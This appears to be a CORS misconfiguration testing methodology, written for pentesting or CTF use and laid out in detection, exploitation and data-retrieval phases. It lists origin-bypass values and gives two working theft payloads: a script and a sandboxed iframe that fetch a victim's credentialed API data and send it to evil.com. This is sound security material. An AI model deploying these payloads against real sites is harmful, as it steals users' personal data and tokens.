cors-misconfiguration

CORS Misconfiguration Methodology

CORS (Cross-Origin Resource Sharing) misconfiguration allows malicious websites to read sensitive data from the target site cross-origin. The key lies in the Access-Control-Allow-Origin and Access-Control-Allow-Credentials response headers.

Phase 1: Detecting CORS Configuration

1.1 Send a request with Origin

http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}

Check the response headers:

• Access-Control-Allow-Origin: https://evil.com → reflects any Origin (dangerous）
• Access-Control-Allow-Origin: * → wildcard (usually cannot carry cookies)
• Access-Control-Allow-Credentials: true → allows carrying cookies (combined with reflected Origin = critical vulnerability）
• No ACAO header → CORS correctly rejects

1.2 Testing Origin validation bypass

# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)

1.3 Dangerous combination assessment

Allow-Origin	Allow-Credentials	Risk level
Reflects any Origin	true	Critical — can steal user data cross-origin
null	true	High — iframe sandbox can set null origin
*	false	Low — cannot carry cookies, usually only exposes public data
Fixed whitelist	true	Safe (unless the whitelist contains a domain you control)

Phase 2: Exploiting CORS Misconfiguration

2.1 Reflected Origin + Credentials (most common)

Target returns:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Build the theft page:

<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>

2.2 null Origin exploitation

If Access-Control-Allow-Origin: null, trigger it with an iframe sandbox:

<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>

Phase 3: Data Retrieval

Sensitive data that can be read after successful CORS exploitation:

• User personal information (/api/profile, /api/userinfo）
• API keys and Tokens
• Internal API data
• Admin panel data

In CTFs: The flag is usually in an API that requires an admin Cookie to access.

Notes

• CORS vulnerabilities require the victim to visit the attacker's page to trigger (similar to CSRF/XSS)
• Pure Access-Control-Allow-Origin: * does not allow credentials: include, lower risk
• Check how preflight (OPTIONS) requests are handled—some frameworks only set CORS on GET, not on OPTIONS